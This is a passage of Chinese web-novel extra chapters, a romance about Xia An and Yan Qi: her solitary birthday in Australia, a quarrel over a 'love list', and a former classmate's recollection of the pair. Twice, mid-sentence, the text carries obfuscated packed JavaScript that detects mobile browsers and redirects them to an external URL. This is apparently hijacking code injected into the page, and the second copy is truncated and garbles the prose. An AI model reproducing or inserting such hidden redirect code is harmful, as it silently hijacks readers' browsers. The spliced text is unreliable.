夏桉很快纠正过来,偏头仿佛到现在才发现颜祈还在这里,疑惑问道:“还有事吗?” “这个,你签一下。”颜祈从身后拿出一份文件,用手压着只露出签字的部分,虽然夏桉并没有真的去关注那上面写了什么,他却严防的很死,只露出了乙方几个小字。 她问道:“这里?” “嗯。” 女孩隽秀有力地写上了自己的名字。 颜祈没想到她会如此爽快,愣了几秒回神问:“你就不想知道这是什么东西?” 怎么这么相信他,也不怕他把她卖了。 夏桉看了他一眼,配合地问:“这是什么?” “没什么。”颜祈心情雀跃,抽回手背在身后,试衣镜折射出上面几个大字,房屋赠予合同,但两人都没有发现。 他干站着想了想又问道:“昨天的礼物你仔细看了吗?” 夏桉认真点点头,露出一个笑温声说:“谢谢你,我很喜欢。” “那就好。” 两人再次陷入寂静。 颜祈又咳了两声,不经意当着夏桉的面往琉璃柜瞟,而后才倒退到门口,把手里的合同先移到了门外,一副欲言又止的样子。 夏桉对上他直勾勾的眼神,耐心说:“又怎么了吗?” “没事。”颜祈握上门把手,一步步倒退着移到门外。 半晌,望着她认真记录的身影轻声道:“桉桉,成年快乐!” 颜祈说的声音很小,但夏桉却敏锐地铺捉到,她转头笑脸盈盈,眼里却没有丝毫笑意,柔声回道:“你也是。” 她指了指嗓子,“注意身体,别感冒了。” 他们已然长成了大人的模样,颜祈在这之前并没有真实的感受,却在这一刻对上她的视线时心潮澎湃,好似人生已经到了最重要的时刻,他不知为何有点紧张。 颜祈想起那枚戒指脸上闪过一丝强烈的期待,喉结无声地滚动了一下,突然格外庄重的回道:“好。” 73. 番外2 澳洲的四月底正好和国内相反,这里四季分明,现在秋意正浓。 日光穿过层林尽染的枫树,夏桉每走一步都可以听见脚下枯黄枫叶传来的嘎吱沙响,这是她们来小镇采风的最后一天。 有人追上来拍了拍她的肩,夏桉回头看到一张高鼻深目很有活力气息的脸,Mia是她的同班同学,高中时当交换生去过中国一年,尽管国语说得磕磕绊绊,但每次和夏桉交流都会把这当作是一次语言学习的机会,她一直对这个漂亮的华人女孩很有兴趣。 Mia满脸雀跃,兴奋道:“夏桉,我们准备今天回去后开一个party,你来吗?” 夏桉摇摇头有点为难:“不好意思,我公寓还有很多东西没有收拾,今晚应该没有时间,祝你们玩得开心。” 夏桉只在学校里住了一个学期就搬走了,她们原本还是室友,Mia有点惋惜,“那好吧,到时候学校见。” “好。”夏桉歉意笑笑。 这已经她第三次搬家了,之前的邻居太吵,夏桉算得上是一个很会忍耐的人,况且异国他乡也只有她一个人,凡事都要靠自己。 她习惯了不吵不闹,近两年思想朝着佛系的方向一路狂奔,已经很少再有事情能够挑拨她的情绪,不想要求别人便只能改变自己,夏桉搬家也是一个人完成的。 刚来澳洲那年她一直被颜祈安排住在他名下的那套房子里,满满当当衣食住行全无纰漏,夏桉以为自己的东西会很多,可最后收拾完也才塞满两个行李箱,那些颜祈帮她购置的东西都随着钥匙留在了那里。 可能是一直被安排的太满压抑得她喘不过气,夏桉的物质欲望一直很低,行李总是保持在很少的状态,可收拾的东西并不多。 只是这次采风是临时安排,她连基本的生活物资都来不及采购。 夏桉从小区超市回来已经是晚上七点,隔壁是一户三口之家,门上还粘着小狗贴纸,兴许今天是什么日子,隐隐约约可以听见庆祝的欢呼声。 她打开门放下东西在玄关处静坐了会,两个并排未拆封的行李箱是空荡客厅里唯一的生活气息。 寂静中,夏桉听清隔壁的歌声,后知后觉拿出手机一看。 原来,她也二十一岁了。 她摇摇头不愿意胡思乱想,立马抱起那一袋生活用品开始收拾,门口却突然响起了敲门声,夏桉本能提高警惕点开显示屏查看,是一个穿着外卖服的陌生中年女人。 门外的女人对着连接在外的摄像头掂了掂自己手里蓝色的保温袋:“您好,外卖到了。” 因着是女性同胞,夏桉放下一些警惕,礼貌回道:“不好意思,你送错了,我没有点外卖。” 女人拿出手机查看,对着订单嘀咕:“是这里呀,302。” 她核实过怕夏桉不信举起手机屏幕对着摄像头重复道:“您看,地址显示的就是您这里。” 女人又调出自己的工作证明和身份证明,诚恳道:“我不是骗子,这些信息都是可查的,要不您先出来看看,这蛋糕不能在外面放久了。” 夏桉沉默几秒打开门,善意提醒说:“这确实不是我定的,今天正好隔壁过生日,是不是他们家的?” 女人面上空白一霎,很快回道:“应该不是,我下午已经来这送过一次了,他们只订了一个蛋糕,就是您这,李小姐对吧。” 夏桉:“......” 女人又说:“您看看是不是您之前在蛋糕店留了信息,他们特意送您的。” 夏桉扫了一眼袋上印着的logo,没有印象,可就算她在这里消费过,也不会有蛋糕店傻到会在顾客生日当天主动送上一个蛋糕而错过一次对方消费的机会。 “这确实不是我的。”夏桉再次肯定回道:“这上面的名字和电话也不是我的,你确实送错了。” 女人面上露出一丝恐惧,在原地着急的眼眶都红了:“这可怎么办,我今天才第一次上班,好不容易才找到的这份工作,上面写着七点半就要收到,现在时间都过了,我要是拿着回去肯定会被开除的。” 说罢,她竟真掉出了两滴泪,犹如在这种情绪里被戳到伤处,抽抽嗒嗒:“小姐你能不能帮帮我,我真的很需要这份工作,我的签证已经快到了,但是我孩子还在这里,他现在就靠我一个人养着,我真的......” 女人掩面泣不成声。 夏桉望着她鬓边的白发有些于心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700290|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不忍,她本质上很受不了别人的眼泪,于是无可避免地心软,想了想提议说:“要不你打电话到店里问问,如果可以,我愿意买下这个蛋糕。” 女人抹着眼泪哽咽:“真的?” 夏桉认真点点头。 女人踌躇着掏出手机,提着蛋糕挪动到窗边,往外看了几眼才打去电话,又很快挂断回来,抹着眼泪不停感谢:“小姐,我都不知道要怎么感谢你,店里说之前那位客人已经退单了,如果你愿意可以按照八折的价格买下来。” 她给夏桉看过价格,点开计算机。 可还没按完,夏桉已经从钱包里抽了五张百元面值的澳元递给她。 女人愣住没敢接,摆手解释道:“不用这么多的,小姐,这太多了。” “没事的。”夏桉塞到她的手里,柔声安慰:“我还要感谢你呢,正好我今天需要一个蛋糕都不知道去哪里订,还好你帮我送过来了,剩下的都当作小费吧,辛苦你了。” 女人面红看着她的脸试探道:“今天也是您的生日?” “对呀!” 女人欲言又止,最后由衷说:“那祝您生日快乐,好人会好报的。” 夏桉笑:“谢谢,你也是。” 送走外卖员,夏桉把蛋糕提到桌上,按照外封袋上的店名搜了搜,竟是这附近一家很有名的高端品牌。 说来也实在是巧,去年她也没有买蛋糕,是晚餐时一个人在店里抽中的幸运奖,今年又刚好有人送错。 夏桉拆开保温袋,里面是一款精致的草莓蛋糕。 她不知想到了什么,警惕地在袋子上闻了闻,没有那股熟悉的气息,只有一股很淡的木质香。 夏桉安心拿出蛋糕插上一根蜡烛,她不是一个多有仪式感的人,但生日总归是要唱颂歌的,自己给自己唱会奇怪吗? 尽管家里没有一个人,夏桉却莫名唱不出口。 屋外突然烟花盛大,窗户被映成五彩色,震耳欲聋,却掩不住隔壁小孩兴奋的尖叫声。 夏桉把蛋糕端到阳台上,被照亮的夜空下她终于有勇气对自己唱出那首歌。 “生日快乐!”吹熄蜡烛前,她抬眸对着楼下的某处小声说。 74. 番外3 关于恋爱第一个摩擦,起源于一件很小的事。 颜祈空闲时在网上刷帖,偶然间发现原来恋爱确有攻略,需要靠一点点小事积累,俗称恋爱清单。 他看向正在会神勾线的夏桉,悄悄拿过一张画纸在上方认真写下他们的名字,写到第十点,颜祈停笔,总觉得自己这样不对。 专断独行,是夏桉不喜欢的,这些事应该一起完成才对。 结果好不容易等到夏桉画完,他把清单递过去邀请同写,夏桉只是简单看了看又递了回来,没有放在心上。 她想得很简单,那些打着标签要一起做的事情,她和颜祈早就做过无数遍,人生二十余年的捆绑,成长道路紧密交织,他们人生许多第一次都有对方的影子。 夏桉认为她和颜祈已经足够了解彼此,这种恋爱清单对他们而言毫无意义,不过都是些平常小事,直接说就可以了。 等夏桉察觉到颜祈生闷气已经是半月后了,这半月里颜祈就像是没有骨头的猫一入夜就勾着她往床上带,上午基本都在补觉中度过。 卧室的门一直是坏的,夏桉之前一个人住惯了没修,也有维持安全感的因素,但现在往往连门都来不及掩就倒在了床上,她有时出神中望向那处,总是不由羞臊。 但这也怪不得她,颜祈从前和她的相处模式不痛快总表现在明面上,虽然这种事也是摆在明面上的,但未免又太隐晦了点。 况且颜祈正处于年轻气盛的年纪,他们又分开了许久,夏桉看着他情动时隐忍发红的眼尾总会不自觉心软,只当是颜祈在过往压抑了太久,哪能想到那处去。 直到许琳问她画展进度,夏桉对着一周还是寥寥几笔的画板不免心虚,沉思许久拿下放在一边,第一次义正言辞地拒绝了颜祈的需求。 她以为颜祈会生气,举起手发誓说,自己绝对没有其他意思,只是真的不能再拖了。 颜祈望着她清凌的眼默了一瞬,低头在她唇上吻了吻,心底叹息了声。 澳洲今年雨水充沛,从立春后就一直下个不停,夏桉本来也不喜欢乱晃,她从小就能坐得住,但颜祈不行,他最讨厌被拘着,小时候碰着雨天也能拉着夏桉去室内游乐园玩上一整天。 窗外新绿沾满水珠,细雨声静,夏桉没有关窗,湿润的空气会让她的大脑更加清醒,她揉揉眼,耳边突然传来一声沉闷的咚响。 颜祈的手机掉在了地毯上,这次不是装睡。 夏桉看过去,总是很难想象颜祈如今会愿意这样安静地待在她的身边,但跳脱出过往回想,颜祈又自小便是如此。 他们的关系总是这样过于紧密,连枯燥的时间也要一直守在寸步不离,许琳来过一次,问她这样不会觉得压抑吗,就算是谈恋爱也应该有属于自己的空间。 夏桉仔细想了很久,在一个傍晚给了许琳肯定的回复——不会! 虽然颜祈从小幼稚,手段拙劣,爱用捉弄的手段去挑衅她,导致夏桉很长一段时间都生活在惧怕里,可颜祈也是那些被忽视的时间里唯一还看得见她的人。 父母离世后,夏桉听过很多形形色色安慰的话,虽然只有八岁,可大人们已经无法再用正常对待孩童的目光去关注她,他们需要夏桉一夜长大认清现状,没有蜕变的时间,但说到最后来来回回不过是那句重复的话。 以后要听话,你爸爸妈妈现在不在了,不能再像以前那样。 夏桉永远记得那个冬天的尾声,她站在灵堂的角落,人来人往寒暄不断,可是伤心的好像只有她一个人。 夏明诚抹了几滴眼泪微笑游走在名利场里,大家觥筹交错,杯光盏影,又纷纷在下葬的时候换成惋惜的苦面,走过来摸摸她的头说那些不痛不痒的话。 是颜祈握住她的手,把糖递过去,说不要再哭了。 颜祈让夏桉受伤,可他也给了夏桉许多。 每年第一个收到的生日礼物,独断聒噪又无用的稚语,那些话永远不会催着夏桉长大认清现实,在余薇和颜淙看不见的时刻,是颜祈一直在所有地方庇护她免受伤害。 颜祈不管去哪也总带着她,夏桉从来不用害怕落单。 他们一直是互相需要。 许琳才听过她说的那些包含恨意的报复之举,不免打来电话问:“你是不是把记忆修正了?”才会给颜祈找一堆借口。 夏桉没有半分迟疑,依旧坚定地否认:“不是,我只是明白了,我也很需要他。” 就算是修正记忆,那也是删除关于伤痛的部分,夏桉在成长的道路上受过太多命运叵测的苦难,唯有颜祈一直留在她的身边。 夏桉的冷情并非天生,在很小的时候她也被众星捧月过,是备受宠爱的孩子,渴望被看见,不过是太害怕失去,才会一直把这当作推拒的借口。 他们之间或许尚存对彼此驯养的痕迹,但正在相爱中才是未来的主题。 她走过去将手机拾起,屏幕未熄,内容停留在社交平台的搜索页面上。 「如何谈恋爱才不会让人觉得烦?」 夏桉好奇往下滑了滑,都是一些很寻常的答案。 她退出去扫到最后一条搜索词条。 「如何才能确定一个人喜欢自己?」 点进去出来的第一条内容和这个答案毫不相关,却点赞最多,还特别的眼熟。 良久,夏桉揿息屏幕把手机放好,在那堆废弃的画纸里找到了恋爱清单。 颜祈迷迷糊糊中感觉有人压了下来,他下意识搂住,揉了揉夏桉的头发轻声问:“困了?我带你回床上睡吧,这个沙发太小了,等下会挤着你。” “才不要。”夏桉躺在上面,贴着他的胸膛耍赖道:“我就要这样睡。” 颜祈自然是愿意,但想想夏桉很少会用这样撒娇的语气,联想到昨晚的拒绝,他举起手自证清白:“我只是担心你这样会不舒服而已,没有其他意思。” “有也不行,我就喜欢这样。” “我以前怎么不知道你还会这样霸道?” 夏桉说:“你不知道的多了去了。” 颜祈沿着她小巧的耳垂往上慢慢捏,好笑地说:“那你说说我还有什么是不知道的?” 夏桉也捏住他的耳垂,颜祈了悟半侧着头等她私语。 热融融的呼吸随着气音侵入耳道,将心充盈,如同快爆破的彩色气球,在夏桉重复第二遍的时候,落下一地惊喜的彩带礼花。 “我爱你。” “很爱很爱你。” 她仰头望向颜祈酸涩泛红的眼眶,从‘我恨你’到‘我爱你’,颜祈走了太久,他总能因为夏桉变得柔软敏感,变得很不颜祈。 夏桉在他滚烫的眼皮上落下一个吻,轻声说:“明天我们出去约会好吗?” “好。” “我今晚想吃披萨。” “那我现在订。”颜祈声音温柔的不像话。 夏桉现在并不饿,制止他准备找手机行为接着说:“等下吧,我再想想。” 她翻个身,颜祈顺应往外挪动,两人面对面躺在沙发上,夏桉歪头按住他的手,“你怎么一直捏我的耳朵?” 颜祈刚听完表白内心悸动,总想在这做点什么,随便找了借口:“中医说耳朵上有很多穴位,捏一捏说不定能长命百岁。” 对此,夏桉诚心回复道:“那我觉得你还是每天早点睡比较靠谱。” “那好吧。”颜祈总能抓住一切时机得寸进尺,搂住夏桉贴得极近,没有距离,黏在她的嘴角含糊问:“那我可以把晚上要做的事情提前吗?” “这样我们都能早点睡,一起长命百岁。” 这哪里是商量的语气,夏桉抵在沙发靠背退无可退,搬出前面的话:“你不是说这个沙发太小了?” 颜祈吻在她下巴,“有些事不需要很大的场地。” 夏桉又伸手推他的胸膛,小小声提醒道:“可是门还没有关。” 颜祈不慌不忙回:“家里本来也只有我们两个人。” “那还有窗户呢。” 颜祈终于停下回头,窗外绿景开阔,紫朵小花在细雨下翩然起舞,他好整以暇地低下头,抵住她的鼻尖目光勾缠,“我只看到了春色正好。” 夏桉眨眨眼对他毫无办法,微微抬起下颌吻住他。 最后的最后,他们还是回到了主卧,夏桉像个树袋熊一样正面挂在颜祈身上,密不可分,用力抱紧他心脏狂跳。 颜祈喉咙发紧,难忍地将她托住,“我爱你。” “我知道。”夏桉耳垂红的快到滴出血,一直对这件事有清晰的感知。 她如今对待颜祈很公平,愿意偏斜天秤,于是挺身攀住他小声回复:“我也爱你。” “我会永远记得。”颜祈说。 ...... 这一场春雨落了两日才停。 出门前,颜祈提笔在恋爱清单第一条后面打上勾,他们才补全一半,后面的还需要慢慢思考。 春光和煦,两人在公园里租了双人自行车骑行,路过一家冷饮店时停了下来,夏桉留在原地等候,意外遇见之前的同学Mia。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740114|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人寒暄片刻,一个外国女孩从冷饮店里跑过来兴奋地把冰淇淋塞到Mia的手上,Mia介绍一番,待颜祈快走近时了然道别。 “谁啊?”颜祈随口问道,感觉Mia有点眼熟。 “以前的同学。”夏桉接过冷饮,牵住他的手。 同伴见Mia回头了好几次,也忍不住朝那边看去,好奇道:“怎么了?” Mia若有所思地说:“那个是我同学。” “我知道啊,你刚说过了,她是你大学同学,长的挺漂亮的,她男朋友也不赖。”同伴一口咬掉半个冰淇淋无所谓道。 Mia回想过后再次肯定:“不是,我是说他们两个都是我同学。” 同伴:? 她三下五除二把剩下的冰淇淋吃完,而后连连回头了好几次,女孩手上的冷饮好像变了,又或许是两人换了,她低头小口喝着,男生绕到公园靠椅后面帮她整理头发。 女生抬头仰着光冲男生笑,白釉般的皮肤不施粉黛却自成风景,男生没忍住低头吻了她一下。 同伴不自觉露出微笑,回头追问:“所以他们是校园爱情?” “不是。”Mia惋惜解释:“那个男生是我的高中同学。” 同伴惊呼:“这也太巧了吧。” “是吗?”Mia神秘地笑笑,“我看未必。” “什么意思。”同伴被勾起八卦之魂,催促道:“你快说呀。” 气氛烘托到这,Mia也没再藏着,细细琢磨,这件事情追溯起来还需要回到十年前。 Mia的父亲就职于一所昂贵的私立高中,她那时一直在为做交换生准备,学校有一位来自中国的老师,Mia有空就会跟着父亲一起去学校练习中文。 那天是她在学校里第一次见到同龄的东方女孩,夏桉静淡站在砖红色的长廊上,身影单薄,犹如交换生宣传手册上那个纤细纯净的白瓷瓶。 Mia理所当然地把夏桉当成了交换生,走过去朝父亲的办公室里简单扫了一眼,看到一个高大的中年男人背影站在办公桌前,以为是夏桉的长辈,没有进去打扰。 天然学习交流的机会,Mia自然没有放过,她抱着学习的态度和夏桉进行了第一次谈话,中途总害怕自己说错,一个‘应该’在嘴边想了很久也没有记起来。 这时,父亲从里面走了出来,身后跟着一个大约十五六岁的俊朗少年,身材高挑瘦削,漆黑的眼眸毫无温度,还带着一点懒散,却在看到夏桉时转成了浅浅的笑意。 那位中年男人就谦卑地站在后面。 少年走到夏桉面前低声叮嘱了些什么,夏桉温顺应好,少年抬头摸了摸她的发顶像在奖励,随后跟着父亲去了另一间办公室里。 “他是你男朋友吗?”Mia觉得自己看出了点什么,但夏桉的反应完全是茫然的,甚至还突然有点冷漠,显然是她猜错了。 Mia挠挠头有点不好意思,用英语回道:“我看他那样还以为你们是那种关系,抱歉。” 夏桉愣在原地,那一刻她发现颜祈突然好容易看清,原来耿耿于怀要的就是这些吗? Mia了解的中文词汇并不多,可夏桉说的那几个字她却刚好全部知道。 “不会给的,永远不会给的。”女孩喃喃重复道,目光冰冷,像在千丝万缕中终于找到了对方最薄弱的那处短板。 兴许是夏桉说得太绝对,Mia想起那位老师说过的一句中国俗话,秉着练习应用的心态磕绊回复:“什么不会给的,凡事不要说得这么肯定。” 没过多久,Mia升入高中,她和颜祈成为同学,没有见到夏桉的身影。 Mia那时看到颜祈总在想,是那个漂亮的东方女孩不想来这里上学吗,可是为什么说的是不会给,而不是不愿意呢?还是她又理解错了,女孩确实说的就是不会给,可她要给的是什么东西,要给谁呢? Mia看着从开学就浑身散发着戾气和冷意的颜祈,想不出答案。 “怪不得我一直觉得她很眼熟,原来我早就见过他们了。” “那后来呢?”同伴连忙追问。 Mia望着牵手并肩远去的两人,感慨万千地笑笑,不再回头,扬扬眉伸了个懒腰惬意说:“我想,她还是给了。” “现在正在相爱中。” 不愿意给的爱有天也会化作心甘情愿的糖水自愿引渡。 这世界上有绝对的事情吗? Mia想,还是有的,现在春光作序,风传花信,再也没有比这更适合相爱的时刻。